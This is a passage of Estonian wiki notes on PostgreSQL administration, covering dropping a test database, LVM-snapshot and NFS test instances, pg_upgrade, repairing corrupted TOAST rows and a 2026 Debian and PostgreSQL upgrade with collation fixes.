Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
